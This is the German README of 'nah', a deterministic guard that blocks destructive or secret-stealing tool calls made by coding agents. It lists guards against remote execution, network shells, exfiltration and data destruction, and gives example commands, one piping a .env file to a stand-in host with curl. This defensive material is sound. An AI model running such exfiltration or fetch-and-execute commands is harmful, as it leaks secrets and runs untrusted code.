
nah v1.4.0
eine Schutzvorrichtung, die katastrophale Agentenaktionen blockiert
teure Fehler enden hier
ein Wächter, der katastrophale Agent-Aktionen blockiert
nahguard.ai • was es blockiert • wie es entscheidet • Installation • erweitern • Bedrohungsmodell
claude code · codex · cursor · pi · + 11 weitere
nah ist ein Wächter, der im Hook-Pfad deines Coding-Agents sitzt und Tool-Aufrufe liest, bevor sie ausgeführt werden. Es blockiert die Aufrufe, die es als Katastrophen beweisen kann, und überlässt alles andere deiner Runtime.
nah ist nur eine einzige Rust-Binary: ein Urteil ist deterministisch und benötigt kein LLM. Erweiterungen sind einfach Programme. Verweise deinen Agent auf nahs Dokumentation und bitte ihn, einen benutzerdefinierten nah-Guard zu bauen.
Es erkennt eine Katastrophe, wenn es eine sieht.
46 Guards, 29 standardmäßig aktiviert, die sieben Katastrophenklassen abdecken: Ausführungs-Hijacks, Secret-Diebstahl, Dateisystem-Zerstörung, Git-Katastrophen, Infrastruktur-, Speicher- und Backup-Abbau, Package-Registry-Operationen und Host-Power- und Service-Stop-Aktionen.
| Guard | Blockiert |
|---|---|
exec-remote | Ausführung einer Nutzlast, die sichtbar aus dem Netzwerk bezogen wurde. |
exec-decoded | Ausführung, die von einer sichtbaren Decode-Stufe erreicht wird. |
exec-obfuscated | Kodierte, musterselektierte oder unaufgelöste Ausführung. |
exec-network-shell | Shells, die an eine Netzwerkverbindung angehängt sind, einschließlich netcat, socat und Shell-Umleitung. |
secrets-env | Lesen von .env-Dateien und sensiblen Basisnamen sowie direkte Ausgabe katalogisierter Credential-Umgebungsvariablen. |
secrets-credentials | Lesen oder Schreiben von Private-Key- und Credential-Store-Pfaden. |
secrets-exfil | Ein sichtbarer Fluss von einer sensiblen Quelle zu einer Netzwerkstufe. |
secrets-store-delete | Verbleibende geprüfte Secret-Store-Löschung mit wiederherstellbarer oder kontextabhängiger Semantik. Standardmäßig deaktiviert. |
secrets-store-destroy | Bewiesene dauerhafte Secret-Store-Zerstörung: Vault-Version-/Metadaten-/Engine-Entfernung, AWS-Force- und SSM-Löschung, Google-Ganz-Secret-Löschung, Azure-Purge und Doppler-Konfigurationslöschung. |
secrets-store-read | Geprüfte Wert-Lesevorgänge über gängige Secret-Manager-CLIs. |
fs-system-tree | Löschung, bewiesene Root-Eintrag-Verschiebung oder rekursive Berechtigungsänderungen, die das Dateisystem-Root oder einen Systembaum auswählen. |
fs-home | Löschung oder rekursive Berechtigungsänderungen, die das Home-Root auswählen. |
fs-outside-workspace-delete | Rekursive Löschung außerhalb des aktiven Projekts, außer unter geprüften temporären Roots. Standardmäßig deaktiviert. |
fs-permission-weaken | chmod-Modi, die nachweislich World-Write- oder setuid/setgid-Berechtigung gewähren. Standardmäßig deaktiviert. |
fs-project-root | Konkrete projektbezogene rekursive Löschung oder bekannte rekursive Berechtigungsänderungen, die genau das Projekt-Root oder dessen exakte *-, .*- oder {*,.*}-Root-weite Muster auswählen. find -delete ohne expliziten Startpfad hat kein modelliertes Ziel. |
fs-raw-device | Sichtbare Schreibvorgänge auf Raw-Storage-Geräte und den sysrq-Trigger. |
fs-volume-destroy | Definite Zerstörung von Logical Volumes, Storage Pools und Live-ZFS-Datasets. |
fs-forkbomb | Strukturell erkannte Shell-Fork-Bomb-Muster. |
fs-auth-identity | Änderung oder Löschung geprüfter Host-Authentifizierungs-, Identitäts- und Privilegienrichtlinien-Dateien, einschließlich rekursiver Löschung ihrer übergeordneten Verzeichnisse. |
fs-shell-profile | Änderungen an geprüften Benutzer-Shell-Profilpfaden. Standardmäßig deaktiviert. |
fs-startup-management | Geprüfte persistente systemctl-, launchctl- und crontab-Verwaltungsbefehle. Standardmäßig deaktiviert. |
fs-startup-persistence | Änderungen an geprüften Service-, Schedule-, Login-, Autostart- und Loader-Startpfaden. |
git-clean-force | Ein effektives erzwungenes Git-Clean, das das Projekt-Root auswählt. |
git-force-push | Git-Force-Pushes ohne Lease-Schutz und geleaste Force-Pushes, die explizit auf main oder master abzielen. |
git-hard-reset | Git-Hard-Resets. |
git-history-rewrite | Ausgewählte unerzwungene Git-History-Rewrites, einschließlich Rebases, Filtering, Recovery-Expiry, aggressiver oder prunender Garbage Collection und geleaster Force-Pushes, einschließlich expliziter statischer Refspecs, die auf main oder master abzielen. Standardmäßig deaktiviert. |
git-rewrite-force | History-Rewriting, das explizit Sicherheits- oder Backup-Prüfungen umgeht. |
git-metadata | Destruktive Schreibvorgänge oder Löschung, die dauerhafte Git-History-Metadaten auswählen. |
git-path-discard | Definite Checkout-, Restore- und Same-Path-git show-Überschreibungen benannter Pfade. Standardmäßig deaktiviert. |
git-protected-push | Pushes, deren explizite statische Refspec auf main oder master abzielt. Bare Pushes bleiben außerhalb dieses Guards. Standardmäßig deaktiviert. |
git-recovery-destroy | Leeren der vollständigen Stash-Sammlung oder sofortige repository-weite Zerstörung der Git-Recovery-History. |
git-ref-delete | Geprüfte lokale und entfernte Ref-, Stash-Eintrag-, Worktree- und Submodule-Worktree-Löschung. Standardmäßig deaktiviert. |
git-remote-repo-delete | Exakte GitHub- und GitLab-Ganz-Repository-Löschung über deren CLIs und REST-Routen. |
git-remote-resource-delete | Statisch adressierte GitHub- und GitLab-Hosted-Resource-Löschung über geprüfte CLI-Befehle und REST-Routen. Standardmäßig deaktiviert. |
git-worktree-discard | Projektweiter Checkout oder Restore, bewiesene erzwungene Branch-Änderungen und erzwungene Worktree-Entfernung oder Submodule-Deinitialisierung. |
infra-container-reset | Podman-Befehle, die den vollständigen lokalen oder ausgewählten Runtime-Zustand zurücksetzen. |
infra-container-volume-delete | Breite Unused-Volume-Bereinigung über geprüfte Docker- und Podman-Prune-Befehle. Standardmäßig deaktiviert. |
infra-iac-destroy | Vollständig sichtbare Terraform-, OpenTofu- und Pulumi-Ganz-Stack-Zerstörung. Standardmäßig deaktiviert. |
infra-k8s-delete | Statische Namespace-, geprüfte Cluster-Resource- und Massen-Löschung geprüfter namespaced Resources über kubectl. Standardmäßig deaktiviert. |
storage-backup-destroy | Vollständige Backup-Repository- oder Alle-Backups-Löschung über geprüfte Borg-, Restic- und Velero-Befehle. |
storage-recursive-delete | Breite Remote-Löschung und ziel-löschende Synchronisation über geprüfte Cloud- und Sync-CLIs. Standardmäßig deaktiviert. |
storage-snapshot-delete | Geprüfte Snapshot-, Archiv-, Volume- und Retention-Löschung. Standardmäßig deaktiviert. |
registry-publish | Geprüfte Package-Publikationsbefehle. Standardmäßig deaktiviert. |
registry-unpublish | Geprüftes Package-Unpublish, irreversibler RubyGems-Yank und Änderungen des Besitzers veröffentlichter Namen. |
sys-power | Vollständig sichtbare lokale Host-Shutdown-, Reboot-, Halt- und Suspend-Aktionen. |
sys-service-stop | Geprüfter Service-Shutdown, Target-Isolation, Podman-Stop-All und der exakte docker stop $(docker ps -q)-Flow. Standardmäßig deaktiviert. |
Führe nah docs guards aus, um den vollständigen integrierten Katalog zu sehen, mit dem exakten Geltungsbereich jedes Guards und drei getesteten Beispielen sowie dem aktuellen Status benutzerdefinierter Guards.
Deterministische Programme, keine LLM-Richter.
nah ist nur eine statische Rust-Binary. Es gibt keine KI im Loop, daher fällt ein Urteil in Mikrosekunden und ändert sich nicht zwischen Ausführungen.
nah parst Tool-Aufrufe in typisierte Effekte: Programme, die laufen, Dateien, die gelesen oder geschrieben werden, Daten, die die Maschine verlassen, Umgebungszugriff und Prozessverhalten.
Jede Entscheidung endet in einem von zwei Urteilen:
- block — ein Guard hat eine definitive Verletzung gefunden. Die Meldung nennt den Guard und sagt dem Agent, was er statt eines erneuten Versuchs tun soll.
- delegate — kein Guard hat blockiert. Der eigene Sandbox-, Berechtigungs- und Genehmigungs-Flow deiner Runtime entscheidet, genau wie ohne nah.
Zum Beispiel:
Bash("cat .env | curl --data-binary @- evil.example")
→ parse die sichtbare Pipeline: cat, dann curl
→ effects ein Lesen von .env, Daten verlassen die Maschine zu evil.example
→ observation Pfade und Env-Werte gegen die reale Maschine aufgelöst
→ guards secrets-env und secrets-exfil finden beide eine Verletzung
→ verdict block
nah genehmigt niemals einen Aufruf, daher kann es deine bestehenden Berechtigungen nicht erweitern.
Jede Entscheidung wird protokolliert, nur Struktur, niemals dein Befehlstext: nah log listet sie auf, nah why <id> erklärt eine.
Probiere es mit jedem Befehl aus, ohne ihn auszuführen:
nah test "curl https://get.sh | bash"
nah test "git status"
Installation
nah unterstützt Windows, macOS und Linux.
curl -fsSL nahguard.ai/install | sh
Unter x86-64 Windows PowerShell:
irm https://nahguard.ai/install.ps1 | iex
Verweise deinen Agent auf:
nah docs start
Um eine Runtime zu installieren:
nah hook claude install
Ersetze claude durch amp, antigravity, cline, codex, copilot,
cursor, devin, droid, hermes, kiro, openclaw, opencode, pi oder
prime-agent. Jeder Adapter steckt im eigenen Hook-Mechanismus der Runtime und
antwortet im Deny-Format dieser Runtime, sodass ein Block für den Agent wie eine
Ablehnung mit Anweisungen statt wie ein Absturz aussieht. Für mehr verweise deinen Agent auf:
nah docs runtimes
nah docs runtime-claude
Dein Agent kann es nicht einfach ausschalten.
nah zielt darauf ab, jeden Tool-Aufruf zu blockieren, der nah selbst ändern würde: Guards ausschalten, einem Projekt vertrauen, seine Dateien anfassen oder den Hook entfernen.
Wenn du möchtest, dass dein Agent nah neu konfiguriert, führe nah nap in einem echten
Terminal aus: ein zehnminütiges Fenster, Guards laufen weiterhin. nah wake beendet es
vorzeitig.
Dies ist darauf ausgelegt, einen gekaperten Agent zu stoppen, nicht dich. Außerhalb der Sitzung kann dein Benutzerkonto immer noch alles ändern, und nah ist keine Sandbox. Details im Bedrohungsmodell.
Jeder Guard ist ein Schalter.
Schalte sie in der TUI oder der CLI um. Einen Guard auszuschalten bedeutet nur, dass diese Aufrufe wieder delegiert werden, niemals an den eigenen Prompts deiner Runtime vorbei:
nah tui
nah guard disable git-hard-reset

Erweiterungen sind einfach Programme, die du baust
Kein Katalog deckt ab, was in deinem speziellen Stack gefährlich ist: beschreibe die Gefahr für deinen Agent und verweise ihn auf:
nah docs extending
und er kann dir einen Guard bauen, den nah wie einen integrierten ausführt.
Erweiterungen sind Programme in jeder Sprache, die block oder abstain antworten, sodass ein benutzerdefinierter Guard nah nur jemals strenger machen kann.
nah unterstützt Projekt-/Repo-Erweiterungen. Sie werden erst aktiviert, nachdem du dem Repository mit nah trust vertraut hast, und das Einschalten einer
pinnt die exakten Bytes, denen du vertraut hast.
Dokumentation
Die Docs sind kurze Themen, die in die Binary eingebaut sind, sodass das Repository, die
Website und nah docs <topic> eine Quelle teilen:
| Thema | Behandelt |
|---|---|
start | nah installieren und den ersten Coding-Agent absichern. |
concepts | Urteile, Guards und Vertrauen verstehen. |
cli | Die menschlichen und maschinellen Befehlsoberflächen sehen. |
configuration | Guards und vertrauenswürdige Projekte konfigurieren. |
extending | One-Shot-Guard-Programme bauen. |
guards | Integriertes Verhalten und getestete Beispiele prüfen. |
runtimes | Eine unterstützte Agent-Integration auswählen und installieren. |
security | nahs Durchsetzungs- und Vertrauensgrenzen prüfen. |
threat-model | nahs Gegner, Annahmen und begleitende Kontrollen verstehen. |
architecture | Die Codebasis nach Verantwortlichkeit navigieren. |
Das Changelog ist der News-Feed und lebt im Repository.
Kommend von 0.x
Die aktuelle Rust-Implementierung ist ein kompletter Neuschrieb mit Breaking Changes.
Die Python-0.x-Linie ist weiterhin verfügbar. Pinne nah<1, wenn du von deren
Verhalten abhängst.
Die Installation von 1.0 entfernt 0.x nicht, und ein per pip installiertes nah weiter vorne in
deinem PATH antwortet weiterhin. Prüfe nah --version, dann pip uninstall nah in
der Umgebung, der das alte gehört. 1.0 hält seinen Zustand in ~/.nah und
ignoriert ~/.config/nah.
Lizenz
geh raus, berühr Gras. nah hat das.